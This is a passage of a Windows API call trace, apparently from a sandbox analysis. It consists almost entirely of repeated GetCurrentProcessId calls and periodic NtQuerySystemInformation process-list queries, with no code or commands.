() returned 0xbf4 [0239.976] GetCurrentProcessId () returned 0xbf4 [0239.976] GetCurrentProcessId () returned 0xbf4 [0239.976] GetCurrentProcessId () returned 0xbf4 [0239.976] GetCurrentProcessId () returned 0xbf4 [0239.976] GetCurrentProcessId () returned 0xbf4 [0239.976] GetCurrentProcessId () returned 0xbf4 [0239.976] GetCurrentProcessId () returned 0xbf4 [0239.976] GetCurrentProcessId () returned 0xbf4 [0239.976] GetCurrentProcessId () returned 0xbf4 [0239.976] GetCurrentProcessId () returned 0xbf4 [0239.976] GetCurrentProcessId () returned 0xbf4 [0239.976] GetCurrentProcessId () returned 0xbf4 [0239.976] GetCurrentProcessId () returned 0xbf4 [0239.977] GetCurrentProcessId () returned 0xbf4 [0239.977] GetCurrentProcessId () returned 0xbf4 [0239.977] GetCurrentProcessId () returned 0xbf4 [0239.977] GetCurrentProcessId () returned 0xbf4 [0239.977] GetCurrentProcessId () returned 0xbf4 [0239.977] GetCurrentProcessId () returned 0xbf4 [0239.977] GetCurrentProcessId () returned 0xbf4 [0239.977] GetCurrentProcessId () returned 0xbf4 [0239.977] GetCurrentProcessId () returned 0xbf4 [0239.977] GetCurrentProcessId () returned 0xbf4 [0239.977] GetCurrentProcessId () returned 0xbf4 [0239.977] GetCurrentProcessId () returned 0xbf4 [0239.977] GetCurrentProcessId () returned 0xbf4 [0239.977] GetCurrentProcessId () returned 0xbf4 [0239.977] GetCurrentProcessId () returned 0xbf4 [0239.977] GetCurrentProcessId () returned 0xbf4 [0239.977] GetCurrentProcessId () returned 0xbf4 [0239.977] GetCurrentProcessId () returned 0xbf4 [0239.977] GetCurrentProcessId () returned 0xbf4 [0239.977] GetCurrentProcessId () returned 0xbf4 [0239.977] GetCurrentProcessId () returned 0xbf4 [0239.977] GetCurrentProcessId () returned 0xbf4 [0239.977] GetCurrentProcessId () returned 0xbf4 [0239.977] GetCurrentProcessId () returned 0xbf4 [0239.977] GetCurrentProcessId () returned 0xbf4 [0239.977] GetCurrentProcessId () returned 0xbf4 [0239.978] GetCurrentProcessId () returned 0xbf4 [0239.978] GetCurrentProcessId () returned 0xbf4 [0239.978] GetCurrentProcessId () returned 0xbf4 [0239.978] GetCurrentProcessId () returned 0xbf4 [0239.978] GetCurrentProcessId () returned 0xbf4 [0239.978] GetCurrentProcessId () returned 0xbf4 [0239.978] GetCurrentProcessId () returned 0xbf4 [0239.978] GetCurrentProcessId () returned 0xbf4 [0239.978] GetCurrentProcessId () returned 0xbf4 [0239.978] GetCurrentProcessId () returned 0xbf4 [0239.978] GetCurrentProcessId () returned 0xbf4 [0239.978] GetCurrentProcessId () returned 0xbf4 [0239.978] GetCurrentProcessId () returned 0xbf4 [0239.978] GetCurrentProcessId () returned 0xbf4 [0239.978] GetCurrentProcessId () returned 0xbf4 [0239.978] GetCurrentProcessId () returned 0xbf4 [0239.978] GetCurrentProcessId () returned 0xbf4 [0239.978] GetCurrentProcessId () returned 0xbf4 [0239.978] GetCurrentProcessId () returned 0xbf4 [0239.978] GetCurrentProcessId () returned 0xbf4 [0239.978] GetCurrentProcessId () returned 0xbf4 [0239.978] GetCurrentProcessId () returned 0xbf4 [0239.978] GetCurrentProcessId () returned 0xbf4 [0239.978] GetCurrentProcessId () returned 0xbf4 [0239.979] GetCurrentProcessId () returned 0xbf4 [0239.979] GetCurrentProcessId () returned 0xbf4 [0239.979] GetCurrentProcessId () returned 0xbf4 [0239.979] GetCurrentProcessId () returned 0xbf4 [0239.979] GetCurrentProcessId () returned 0xbf4 [0239.979] GetCurrentProcessId () returned 0xbf4 [0239.979] GetCurrentProcessId () returned 0xbf4 [0239.979] GetCurrentProcessId () returned 0xbf4 [0239.979] GetCurrentProcessId () returned 0xbf4 [0239.979] GetCurrentProcessId () returned 0xbf4 [0239.979] GetCurrentProcessId () returned 0xbf4 [0239.979] GetCurrentProcessId () returned 0xbf4 [0239.979] GetCurrentProcessId () returned 0xbf4 [0239.979] GetCurrentProcessId () returned 0xbf4 [0239.979] GetCurrentProcessId () returned 0xbf4 [0239.979] GetCurrentProcessId () returned 0xbf4 [0239.979] GetCurrentProcessId () returned 0xbf4 [0239.979] GetCurrentProcessId () returned 0xbf4 [0239.979] GetCurrentProcessId () returned 0xbf4 [0239.981] GetCurrentProcessId () returned 0xbf4 [0239.981] GetCurrentProcessId () returned 0xbf4 [0239.981] GetCurrentProcessId () returned 0xbf4 [0239.981] GetCurrentProcessId () returned 0xbf4 [0239.981] GetCurrentProcessId () returned 0xbf4 [0239.981] GetCurrentProcessId () returned 0xbf4 [0239.981] GetCurrentProcessId () returned 0xbf4 [0239.981] GetCurrentProcessId () returned 0xbf4 [0239.981] GetCurrentProcessId () returned 0xbf4 [0239.981] GetCurrentProcessId () returned 0xbf4 [0239.981] GetCurrentProcessId () returned 0xbf4 [0239.981] GetCurrentProcessId () returned 0xbf4 [0239.981] GetCurrentProcessId () returned 0xbf4 [0239.981] GetCurrentProcessId () returned 0xbf4 [0239.981] GetCurrentProcessId () returned 0xbf4 [0240.603] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b7bebb0 | out: SystemInformation=0x12da3098, ResultLength=0x1b7bebb0*=0x1ca90) returned 0x0 [0240.608] GetCurrentProcessId () returned 0xbf4 [0240.608] GetCurrentProcessId () returned 0xbf4 [0240.608] GetCurrentProcessId () returned 0xbf4 [0240.608] GetCurrentProcessId () returned 0xbf4 [0240.608] GetCurrentProcessId () returned 0xbf4 [0240.608] GetCurrentProcessId () returned 0xbf4 [0240.608] GetCurrentProcessId () returned 0xbf4 [0240.608] GetCurrentProcessId () returned 0xbf4 [0240.608] GetCurrentProcessId () returned 0xbf4 [0240.608] GetCurrentProcessId () returned 0xbf4 [0240.608] GetCurrentProcessId () returned 0xbf4 [0240.609] GetCurrentProcessId () returned 0xbf4 [0240.609] GetCurrentProcessId () returned 0xbf4 [0240.609] GetCurrentProcessId () returned 0xbf4 [0240.609] GetCurrentProcessId () returned 0xbf4 [0240.609] GetCurrentProcessId () returned 0xbf4 [0240.609] GetCurrentProcessId () returned 0xbf4 [0240.609] GetCurrentProcessId () returned 0xbf4 [0240.609] GetCurrentProcessId () returned 0xbf4 [0240.609] GetCurrentProcessId () returned 0xbf4 [0240.609] GetCurrentProcessId () returned 0xbf4 [0240.609] GetCurrentProcessId () returned 0xbf4 [0240.609] GetCurrentProcessId () returned 0xbf4 [0240.609] GetCurrentProcessId () returned 0xbf4 [0240.609] GetCurrentProcessId () returned 0xbf4 [0240.609] GetCurrentProcessId () returned 0xbf4 [0240.609] GetCurrentProcessId () returned 0xbf4 [0240.609] GetCurrentProcessId () returned 0xbf4 [0240.609] GetCurrentProcessId () returned 0xbf4 [0240.609] GetCurrentProcessId () returned 0xbf4 [0240.609] GetCurrentProcessId () returned 0xbf4 [0240.609] GetCurrentProcessId () returned 0xbf4 [0240.609] GetCurrentProcessId () returned 0xbf4 [0240.609] GetCurrentProcessId () returned 0xbf4 [0240.609] GetCurrentProcessId () returned 0xbf4 [0240.609] GetCurrentProcessId () returned 0xbf4 [0240.609] GetCurrentProcessId () returned 0xbf4 [0240.609] GetCurrentProcessId () returned 0xbf4 [0240.609] GetCurrentProcessId () returned 0xbf4 [0240.610] GetCurrentProcessId () returned 0xbf4 [0240.610] GetCurrentProcessId () returned 0xbf4 [0240.610] GetCurrentProcessId () returned 0xbf4 [0240.610] GetCurrentProcessId () returned 0xbf4 [0240.610] GetCurrentProcessId () returned 0xbf4 [0240.610] GetCurrentProcessId () returned 0xbf4 [0240.610] GetCurrentProcessId () returned 0xbf4 [0240.610] GetCurrentProcessId () returned 0xbf4 [0240.610] GetCurrentProcessId () returned 0xbf4 [0240.610] GetCurrentProcessId () returned 0xbf4 [0240.610] GetCurrentProcessId () returned 0xbf4 [0240.610] GetCurrentProcessId () returned 0xbf4 [0240.610] GetCurrentProcessId () returned 0xbf4 [0240.610] GetCurrentProcessId () returned 0xbf4 [0240.610] GetCurrentProcessId () returned 0xbf4 [0240.610] GetCurrentProcessId () returned 0xbf4 [0240.610] GetCurrentProcessId () returned 0xbf4 [0240.610] GetCurrentProcessId () returned 0xbf4 [0240.610] GetCurrentProcessId () returned 0xbf4 [0240.610] GetCurrentProcessId () returned 0xbf4 [0240.610] GetCurrentProcessId () returned 0xbf4 [0240.610] GetCurrentProcessId () returned 0xbf4 [0240.610] GetCurrentProcessId () returned 0xbf4 [0240.610] GetCurrentProcessId () returned 0xbf4 [0240.610] GetCurrentProcessId () returned 0xbf4 [0240.610] GetCurrentProcessId () returned 0xbf4 [0240.610] GetCurrentProcessId () returned 0xbf4 [0240.610] GetCurrentProcessId () returned 0xbf4 [0240.610] GetCurrentProcessId () returned 0xbf4 [0240.611] GetCurrentProcessId () returned 0xbf4 [0240.611] GetCurrentProcessId () returned 0xbf4 [0240.611] GetCurrentProcessId () returned 0xbf4 [0240.611] GetCurrentProcessId () returned 0xbf4 [0240.611] GetCurrentProcessId () returned 0xbf4 [0240.611] GetCurrentProcessId () returned 0xbf4 [0240.611] GetCurrentProcessId () returned 0xbf4 [0240.611] GetCurrentProcessId () returned 0xbf4 [0240.611] GetCurrentProcessId () returned 0xbf4 [0240.611] GetCurrentProcessId () returned 0xbf4 [0240.611] GetCurrentProcessId () returned 0xbf4 [0240.611] GetCurrentProcessId () returned 0xbf4 [0240.611] GetCurrentProcessId () returned 0xbf4 [0240.611] GetCurrentProcessId () returned 0xbf4 [0240.611] GetCurrentProcessId () returned 0xbf4 [0240.611] GetCurrentProcessId () returned 0xbf4 [0240.611] GetCurrentProcessId () returned 0xbf4 [0240.611] GetCurrentProcessId () returned 0xbf4 [0240.611] GetCurrentProcessId () returned 0xbf4 [0240.611] GetCurrentProcessId () returned 0xbf4 [0240.611] GetCurrentProcessId () returned 0xbf4 [0240.611] GetCurrentProcessId () returned 0xbf4 [0240.612] GetCurrentProcessId () returned 0xbf4 [0240.612] GetCurrentProcessId () returned 0xbf4 [0240.612] GetCurrentProcessId () returned 0xbf4 [0240.612] GetCurrentProcessId () returned 0xbf4 [0240.612] GetCurrentProcessId () returned 0xbf4 [0240.612] GetCurrentProcessId () returned 0xbf4 [0240.612] GetCurrentProcessId () returned 0xbf4 [0240.612] GetCurrentProcessId () returned 0xbf4 [0240.612] GetCurrentProcessId () returned 0xbf4 [0240.612] GetCurrentProcessId () returned 0xbf4 [0240.612] GetCurrentProcessId () returned 0xbf4 [0240.612] GetCurrentProcessId () returned 0xbf4 [0240.612] GetCurrentProcessId () returned 0xbf4 [0240.612] GetCurrentProcessId () returned 0xbf4 [0240.612] GetCurrentProcessId () returned 0xbf4 [0240.612] GetCurrentProcessId () returned 0xbf4 [0240.612] GetCurrentProcessId () returned 0xbf4 [0241.248] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b7bebb0 | out: SystemInformation=0x12da3098, ResultLength=0x1b7bebb0*=0x1ca90) returned 0x0 [0241.254] GetCurrentProcessId () returned 0xbf4 [0241.254] GetCurrentProcessId () returned 0xbf4 [0241.254] GetCurrentProcessId () returned 0xbf4 [0241.255] GetCurrentProcessId () returned 0xbf4 [0241.255] GetCurrentProcessId () returned 0xbf4 [0241.255] GetCurrentProcessId () returned 0xbf4 [0241.255] GetCurrentProcessId () returned 0xbf4 [0241.255] GetCurrentProcessId () returned 0xbf4 [0241.255] GetCurrentProcessId () returned 0xbf4 [0241.255] GetCurrentProcessId () returned 0xbf4 [0241.255] GetCurrentProcessId () returned 0xbf4 [0241.255] GetCurrentProcessId () returned 0xbf4 [0241.255] GetCurrentProcessId () returned 0xbf4 [0241.255] GetCurrentProcessId () returned 0xbf4 [0241.255] GetCurrentProcessId () returned 0xbf4 [0241.255] GetCurrentProcessId () returned 0xbf4 [0241.255] GetCurrentProcessId () returned 0xbf4 [0241.255] GetCurrentProcessId () returned 0xbf4 [0241.255] GetCurrentProcessId () returned 0xbf4 [0241.255] GetCurrentProcessId () returned 0xbf4 [0241.255] GetCurrentProcessId () returned 0xbf4 [0241.255] GetCurrentProcessId () returned 0xbf4 [0241.255] GetCurrentProcessId () returned 0xbf4 [0241.255] GetCurrentProcessId () returned 0xbf4 [0241.255] GetCurrentProcessId () returned 0xbf4 [0241.255] GetCurrentProcessId () returned 0xbf4 [0241.255] GetCurrentProcessId () returned 0xbf4 [0241.255] GetCurrentProcessId () returned 0xbf4 [0241.255] GetCurrentProcessId () returned 0xbf4 [0241.255] GetCurrentProcessId () returned 0xbf4 [0241.255] GetCurrentProcessId () returned 0xbf4 [0241.255] GetCurrentProcessId () returned 0xbf4 [0241.255] GetCurrentProcessId () returned 0xbf4 [0241.255] GetCurrentProcessId () returned 0xbf4 [0241.255] GetCurrentProcessId () returned 0xbf4 [0241.255] GetCurrentProcessId () returned 0xbf4 [0241.255] GetCurrentProcessId () returned 0xbf4 [0241.255] GetCurrentProcessId () returned 0xbf4 [0241.255] GetCurrentProcessId () returned 0xbf4 [0241.256] GetCurrentProcessId () returned 0xbf4 [0241.256] GetCurrentProcessId () returned 0xbf4 [0241.256] GetCurrentProcessId () returned 0xbf4 [0241.256] GetCurrentProcessId () returned 0xbf4 [0241.256] GetCurrentProcessId () returned 0xbf4 [0241.256] GetCurrentProcessId () returned 0xbf4 [0241.256] GetCurrentProcessId () returned 0xbf4 [0241.256] GetCurrentProcessId () returned 0xbf4 [0241.256] GetCurrentProcessId () returned 0xbf4 [0241.256] GetCurrentProcessId () returned 0xbf4 [0241.256] GetCurrentProcessId () returned 0xbf4 [0241.256] GetCurrentProcessId () returned 0xbf4 [0241.256] GetCurrentProcessId () returned 0xbf4 [0241.256] GetCurrentProcessId () returned 0xbf4 [0241.256] GetCurrentProcessId () returned 0xbf4 [0241.256] GetCurrentProcessId () returned 0xbf4 [0241.256] GetCurrentProcessId () returned 0xbf4 [0241.256] GetCurrentProcessId () returned 0xbf4 [0241.256] GetCurrentProcessId () returned 0xbf4 [0241.256] GetCurrentProcessId () returned 0xbf4 [0241.256] GetCurrentProcessId () returned 0xbf4 [0241.256] GetCurrentProcessId () returned 0xbf4 [0241.256] GetCurrentProcessId () returned 0xbf4 [0241.256] GetCurrentProcessId () returned 0xbf4 [0241.256] GetCurrentProcessId () returned 0xbf4 [0241.256] GetCurrentProcessId () returned 0xbf4 [0241.256] GetCurrentProcessId () returned 0xbf4 [0241.256] GetCurrentProcessId () returned 0xbf4 [0241.256] GetCurrentProcessId () returned 0xbf4 [0241.256] GetCurrentProcessId () returned 0xbf4 [0241.256] GetCurrentProcessId () returned 0xbf4 [0241.256] GetCurrentProcessId () returned 0xbf4 [0241.256] GetCurrentProcessId () returned 0xbf4 [0241.256] GetCurrentProcessId () returned 0xbf4 [0241.256] GetCurrentProcessId () returned 0xbf4 [0241.256] GetCurrentProcessId () returned 0xbf4 [0241.257] GetCurrentProcessId () returned 0xbf4 [0241.257] GetCurrentProcessId () returned 0xbf4 [0241.257] GetCurrentProcessId () returned 0xbf4 [0241.257] GetCurrentProcessId () returned 0xbf4 [0241.257] GetCurrentProcessId () returned 0xbf4 [0241.257] GetCurrentProcessId () returned 0xbf4 [0241.257] GetCurrentProcessId () returned 0xbf4 [0241.257] GetCurrentProcessId () returned 0xbf4 [0241.257] GetCurrentProcessId () returned 0xbf4 [0241.257] GetCurrentProcessId () returned 0xbf4 [0241.257] GetCurrentProcessId () returned 0xbf4 [0241.257] GetCurrentProcessId () returned 0xbf4 [0241.257] GetCurrentProcessId () returned 0xbf4 [0241.257] GetCurrentProcessId () returned 0xbf4 [0241.257] GetCurrentProcessId () returned 0xbf4 [0241.257] GetCurrentProcessId () returned 0xbf4 [0241.257] GetCurrentProcessId () returned 0xbf4 [0241.257] GetCurrentProcessId () returned 0xbf4 [0241.257] GetCurrentProcessId () returned 0xbf4 [0241.257] GetCurrentProcessId () returned 0xbf4 [0241.257] GetCurrentProcessId () returned 0xbf4 [0241.257] GetCurrentProcessId () returned 0xbf4 [0241.257] GetCurrentProcessId () returned 0xbf4 [0241.257] GetCurrentProcessId () returned 0xbf4 [0241.257] GetCurrentProcessId () returned 0xbf4 [0241.257] GetCurrentProcessId () returned 0xbf4 [0241.257] GetCurrentProcessId () returned 0xbf4 [0241.257] GetCurrentProcessId () returned 0xbf4 [0241.257] GetCurrentProcessId () returned 0xbf4 [0241.257] GetCurrentProcessId () returned 0xbf4 [0241.257] GetCurrentProcessId () returned 0xbf4 [0241.257] GetCurrentProcessId () returned 0xbf4 [0241.863] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b7bebb0 | out: SystemInformation=0x12da3098, ResultLength=0x1b7bebb0*=0x1ca90) returned 0x0 [0241.866] GetCurrentProcessId () returned 0xbf4 [0241.866] GetCurrentProcessId () returned 0xbf4 [0241.866] GetCurrentProcessId () returned 0xbf4 [0241.866] GetCurrentProcessId () returned 0xbf4 [0241.866] GetCurrentProcessId () returned 0xbf4 [0241.866] GetCurrentProcessId () returned 0xbf4 [0241.866] GetCurrentProcessId () returned 0xbf4 [0241.866] GetCurrentProcessId () returned 0xbf4 [0241.866] GetCurrentProcessId () returned 0xbf4 [0241.866] GetCurrentProcessId () returned 0xbf4 [0241.866] GetCurrentProcessId () returned 0xbf4 [0241.866] GetCurrentProcessId () returned 0xbf4 [0241.866] GetCurrentProcessId () returned 0xbf4 [0241.866] GetCurrentProcessId () returned 0xbf4 [0241.866] GetCurrentProcessId () returned 0xbf4 [0241.866] GetCurrentProcessId () returned 0xbf4 [0241.866] GetCurrentProcessId () returned 0xbf4 [0241.866] GetCurrentProcessId () returned 0xbf4 [0241.866] GetCurrentProcessId () returned 0xbf4 [0241.866] GetCurrentProcessId () returned 0xbf4 [0241.866] GetCurrentProcessId () returned 0xbf4 [0241.866] GetCurrentProcessId () returned 0xbf4 [0241.866] GetCurrentProcessId () returned 0xbf4 [0241.867] GetCurrentProcessId () returned 0xbf4 [0241.867] GetCurrentProcessId () returned 0xbf4 [0241.867] GetCurrentProcessId () returned 0xbf4 [0241.867] GetCurrentProcessId () returned 0xbf4 [0241.867] GetCurrentProcessId () returned 0xbf4 [0241.867] GetCurrentProcessId () returned 0xbf4 [0241.867] GetCurrentProcessId () returned 0xbf4 [0241.867] GetCurrentProcessId () returned 0xbf4 [0241.867] GetCurrentProcessId () returned 0xbf4 [0241.867] GetCurrentProcessId () returned 0xbf4 [0241.867] GetCurrentProcessId () returned 0xbf4 [0241.867] GetCurrentProcessId () returned 0xbf4 [0241.867] GetCurrentProcessId () returned 0xbf4 [0241.867] GetCurrentProcessId () returned 0xbf4 [0241.867] GetCurrentProcessId () returned 0xbf4 [0241.867] GetCurrentProcessId () returned 0xbf4 [0241.867] GetCurrentProcessId () returned 0xbf4 [0241.867] GetCurrentProcessId () returned 0xbf4 [0241.867] GetCurrentProcessId () returned 0xbf4 [0241.867] GetCurrentProcessId () returned 0xbf4 [0241.867] GetCurrentProcessId () returned 0xbf4 [0241.867] GetCurrentProcessId () returned 0xbf4 [0241.867] GetCurrentProcessId () returned 0xbf4 [0241.867] GetCurrentProcessId () returned 0xbf4 [0241.867] GetCurrentProcessId () returned 0xbf4 [0241.867] GetCurrentProcessId () returned 0xbf4 [0241.867] GetCurrentProcessId () returned 0xbf4 [0241.867] GetCurrentProcessId () returned 0xbf4 [0241.867] GetCurrentProcessId () returned 0xbf4 [0241.867] GetCurrentProcessId () returned 0xbf4 [0241.868] GetCurrentProcessId () returned 0xbf4 [0241.868] GetCurrentProcessId () returned 0xbf4 [0241.868] GetCurrentProcessId () returned 0xbf4 [0241.868] GetCurrentProcessId () returned 0xbf4 [0241.868] GetCurrentProcessId () returned 0xbf4 [0241.868] GetCurrentProcessId () returned 0xbf4 [0241.868] GetCurrentProcessId () returned 0xbf4 [0241.868] GetCurrentProcessId () returned 0xbf4 [0241.868] GetCurrentProcessId () returned 0xbf4 [0241.868] GetCurrentProcessId () returned 0xbf4 [0241.868] GetCurrentProcessId () returned 0xbf4 [0241.868] GetCurrentProcessId () returned 0xbf4 [0241.868] GetCurrentProcessId () returned 0xbf4 [0241.868] GetCurrentProcessId () returned 0xbf4 [0241.868] GetCurrentProcessId () returned 0xbf4 [0241.868] GetCurrentProcessId () returned 0xbf4 [0241.868] GetCurrentProcessId () returned 0xbf4 [0241.868] GetCurrentProcessId () returned 0xbf4 [0241.868] GetCurrentProcessId () returned 0xbf4 [0241.868] GetCurrentProcessId () returned 0xbf4 [0241.868] GetCurrentProcessId () returned 0xbf4 [0241.868] GetCurrentProcessId () returned 0xbf4 [0241.868] GetCurrentProcessId () returned 0xbf4 [0241.868] GetCurrentProcessId () returned 0xbf4 [0241.868] GetCurrentProcessId () returned 0xbf4 [0241.868] GetCurrentProcessId () returned 0xbf4 [0241.868] GetCurrentProcessId () returned 0xbf4 [0241.868] GetCurrentProcessId () returned 0xbf4 [0241.868] GetCurrentProcessId () returned 0xbf4 [0241.869] GetCurrentProcessId () returned 0xbf4 [0241.869] GetCurrentProcessId () returned 0xbf4 [0241.869] GetCurrentProcessId () returned 0xbf4 [0241.869] GetCurrentProcessId () returned 0xbf4 [0241.869] GetCurrentProcessId () returned 0xbf4 [0241.869] GetCurrentProcessId () returned 0xbf4 [0241.869] GetCurrentProcessId () returned 0xbf4 [0241.869] GetCurrentProcessId () returned 0xbf4 [0241.869] GetCurrentProcessId () returned 0xbf4 [0241.869] GetCurrentProcessId () returned 0xbf4 [0241.869] GetCurrentProcessId () returned 0xbf4 [0241.869] GetCurrentProcessId () returned 0xbf4 [0241.869] GetCurrentProcessId () returned 0xbf4 [0241.869] GetCurrentProcessId () returned 0xbf4 [0241.869] GetCurrentProcessId () returned 0xbf4 [0241.869] GetCurrentProcessId () returned 0xbf4 [0241.869] GetCurrentProcessId () returned 0xbf4 [0241.869] GetCurrentProcessId () returned 0xbf4 [0241.869] GetCurrentProcessId () returned 0xbf4 [0241.869] GetCurrentProcessId () returned 0xbf4 [0241.869] GetCurrentProcessId () returned 0xbf4 [0241.869] GetCurrentProcessId () returned 0xbf4 [0241.869] GetCurrentProcessId () returned 0xbf4 [0241.869] GetCurrentProcessId () returned 0xbf4 [0241.869] GetCurrentProcessId () returned 0xbf4 [0242.520] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b7bebb0 | out: SystemInformation=0x12da3098, ResultLength=0x1b7bebb0*=0x1ca90) returned 0x0 [0242.525] GetCurrentProcessId () returned 0xbf4 [0242.525] GetCurrentProcessId () returned 0xbf4 [0242.525] GetCurrentProcessId () returned 0xbf4 [0242.525] GetCurrentProcessId () returned 0xbf4 [0242.525] GetCurrentProcessId () returned 0xbf4 [0242.525] GetCurrentProcessId () returned 0xbf4 [0242.525] GetCurrentProcessId () returned 0xbf4 [0242.525] GetCurrentProcessId () returned 0xbf4 [0242.525] GetCurrentProcessId () returned 0xbf4 [0242.525] GetCurrentProcessId () returned 0xbf4 [0242.525] GetCurrentProcessId () returned 0xbf4 [0242.525] GetCurrentProcessId () returned 0xbf4 [0242.526] GetCurrentProcessId () returned 0xbf4 [0242.526] GetCurrentProcessId () returned 0xbf4 [0242.526] GetCurrentProcessId () returned 0xbf4 [0242.526] GetCurrentProcessId () returned 0xbf4 [0242.526] GetCurrentProcessId () returned 0xbf4 [0242.526] GetCurrentProcessId () returned 0xbf4 [0242.526] GetCurrentProcessId () returned 0xbf4 [0242.526] GetCurrentProcessId () returned 0xbf4 [0242.526] GetCurrentProcessId () returned 0xbf4 [0242.526] GetCurrentProcessId () returned 0xbf4 [0242.526] GetCurrentProcessId () returned 0xbf4 [0242.526] GetCurrentProcessId () returned 0xbf4 [0242.526] GetCurrentProcessId () returned 0xbf4 [0242.526] GetCurrentProcessId () returned 0xbf4 [0242.526] GetCurrentProcessId () returned 0xbf4 [0242.526] GetCurrentProcessId () returned 0xbf4 [0242.526] GetCurrentProcessId () returned 0xbf4 [0242.526] GetCurrentProcessId () returned 0xbf4 [0242.526] GetCurrentProcessId () returned 0xbf4 [0242.526] GetCurrentProcessId () returned 0xbf4 [0242.526] GetCurrentProcessId () returned 0xbf4 [0242.526] GetCurrentProcessId () returned 0xbf4 [0242.526] GetCurrentProcessId () returned 0xbf4 [0242.526] GetCurrentProcessId () returned 0xbf4 [0242.526] GetCurrentProcessId () returned 0xbf4 [0242.526] GetCurrentProcessId () returned 0xbf4 [0242.526] GetCurrentProcessId () returned 0xbf4 [0242.526] GetCurrentProcessId () returned 0xbf4 [0242.526] GetCurrentProcessId () returned 0xbf4 [0242.526] GetCurrentProcessId () returned 0xbf4 [0242.526] GetCurrentProcessId () returned 0xbf4 [0242.526] GetCurrentProcessId () returned 0xbf4 [0242.526] GetCurrentProcessId () returned 0xbf4 [0242.527] GetCurrentProcessId () returned 0xbf4 [0242.527] GetCurrentProcessId () returned 0xbf4 [0242.527] GetCurrentProcessId () returned 0xbf4 [0242.527] GetCurrentProcessId () returned 0xbf4 [0242.527] GetCurrentProcessId () returned 0xbf4 [0242.527] GetCurrentProcessId () returned 0xbf4 [0242.527] GetCurrentProcessId () returned 0xbf4 [0242.527] GetCurrentProcessId () returned 0xbf4 [0242.527] GetCurrentProcessId () returned 0xbf4 [0242.527] GetCurrentProcessId () returned 0xbf4 [0242.527] GetCurrentProcessId () returned 0xbf4 [0242.527] GetCurrentProcessId () returned 0xbf4 [0242.527] GetCurrentProcessId () returned 0xbf4 [0242.527] GetCurrentProcessId () returned 0xbf4 [0242.527] GetCurrentProcessId () returned 0xbf4 [0242.527] GetCurrentProcessId () returned 0xbf4 [0242.527] GetCurrentProcessId () returned 0xbf4 [0242.527] GetCurrentProcessId () returned 0xbf4 [0242.527] GetCurrentProcessId () returned 0xbf4 [0242.527] GetCurrentProcessId () returned 0xbf4 [0242.527] GetCurrentProcessId () returned 0xbf4 [0242.527] GetCurrentProcessId () returned 0xbf4 [0242.527] GetCurrentProcessId () returned 0xbf4 [0242.527] GetCurrentProcessId () returned 0xbf4 [0242.527] GetCurrentProcessId () returned 0xbf4 [0242.527] GetCurrentProcessId () returned 0xbf4 [0242.527] GetCurrentProcessId () returned 0xbf4 [0242.527] GetCurrentProcessId () returned 0xbf4 [0242.527] GetCurrentProcessId () returned 0xbf4 [0242.527] GetCurrentProcessId () returned 0xbf4 [0242.527] GetCurrentProcessId () returned 0xbf4 [0242.527] GetCurrentProcessId () returned 0xbf4 [0242.527] GetCurrentProcessId () returned 0xbf4 [0242.527] GetCurrentProcessId () returned 0xbf4 [0242.528] GetCurrentProcessId () returned 0xbf4 [0242.528] GetCurrentProcessId () returned 0xbf4 [0242.528] GetCurrentProcessId () returned 0xbf4 [0242.528] GetCurrentProcessId () returned 0xbf4 [0242.528] GetCurrentProcessId () returned 0xbf4 [0242.528] GetCurrentProcessId () returned 0xbf4 [0242.528] GetCurrentProcessId () returned 0xbf4 [0242.528] GetCurrentProcessId () returned 0xbf4 [0242.528] GetCurrentProcessId () returned 0xbf4 [0242.528] GetCurrentProcessId () returned 0xbf4 [0242.528] GetCurrentProcessId () returned 0xbf4 [0242.528] GetCurrentProcessId () returned 0xbf4 [0242.528] GetCurrentProcessId () returned 0xbf4 [0242.528] GetCurrentProcessId () returned 0xbf4 [0242.528] GetCurrentProcessId () returned 0xbf4 [0242.528] GetCurrentProcessId () returned 0xbf4 [0242.528] GetCurrentProcessId () returned 0xbf4 [0242.528] GetCurrentProcessId () returned 0xbf4 [0242.528] GetCurrentProcessId () returned 0xbf4 [0242.528] GetCurrentProcessId () returned 0xbf4 [0242.528] GetCurrentProcessId () returned 0xbf4 [0242.528] GetCurrentProcessId () returned 0xbf4 [0242.528] GetCurrentProcessId () returned 0xbf4 [0242.528] GetCurrentProcessId () returned 0xbf4 [0242.528] GetCurrentProcessId () returned 0xbf4 [0242.528] GetCurrentProcessId () returned 0xbf4 [0242.528] GetCurrentProcessId () returned 0xbf4 [0242.528] GetCurrentProcessId () returned 0xbf4 [0243.159] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b7bebb0 | out: SystemInformation=0x12da3098, ResultLength=0x1b7bebb0*=0x1cae0) returned 0x0 [0243.162] GetCurrentProcessId () returned 0xbf4 [0243.162] GetCurrentProcessId () returned 0xbf4 [0243.162] GetCurrentProcessId () returned 0xbf4 [0243.162] GetCurrentProcessId () returned 0xbf4 [0243.162] GetCurrentProcessId () returned 0xbf4 [0243.162] GetCurrentProcessId () returned 0xbf4 [0243.162] GetCurrentProcessId () returned 0xbf4 [0243.162] GetCurrentProcessId () returned 0xbf4 [0243.162] GetCurrentProcessId () returned 0xbf4 [0243.162] GetCurrentProcessId () returned 0xbf4 [0243.162] GetCurrentProcessId () returned 0xbf4 [0243.162] GetCurrentProcessId () returned 0xbf4 [0243.162] GetCurrentProcessId () returned 0xbf4 [0243.162] GetCurrentProcessId () returned 0xbf4 [0243.162] GetCurrentProcessId () returned 0xbf4 [0243.162] GetCurrentProcessId () returned 0xbf4 [0243.163] GetCurrentProcessId () returned 0xbf4 [0243.163] GetCurrentProcessId () returned 0xbf4 [0243.163] GetCurrentProcessId () returned 0xbf4 [0243.163] GetCurrentProcessId () returned 0xbf4 [0243.163] GetCurrentProcessId () returned 0xbf4 [0243.163] GetCurrentProcessId () returned 0xbf4 [0243.163] GetCurrentProcessId () returned 0xbf4 [0243.163] GetCurrentProcessId () returned 0xbf4 [0243.163] GetCurrentProcessId () returned 0xbf4 [0243.163] GetCurrentProcessId () returned 0xbf4 [0243.163] GetCurrentProcessId () returned 0xbf4 [0243.163] GetCurrentProcessId () returned 0xbf4 [0243.163] GetCurrentProcessId 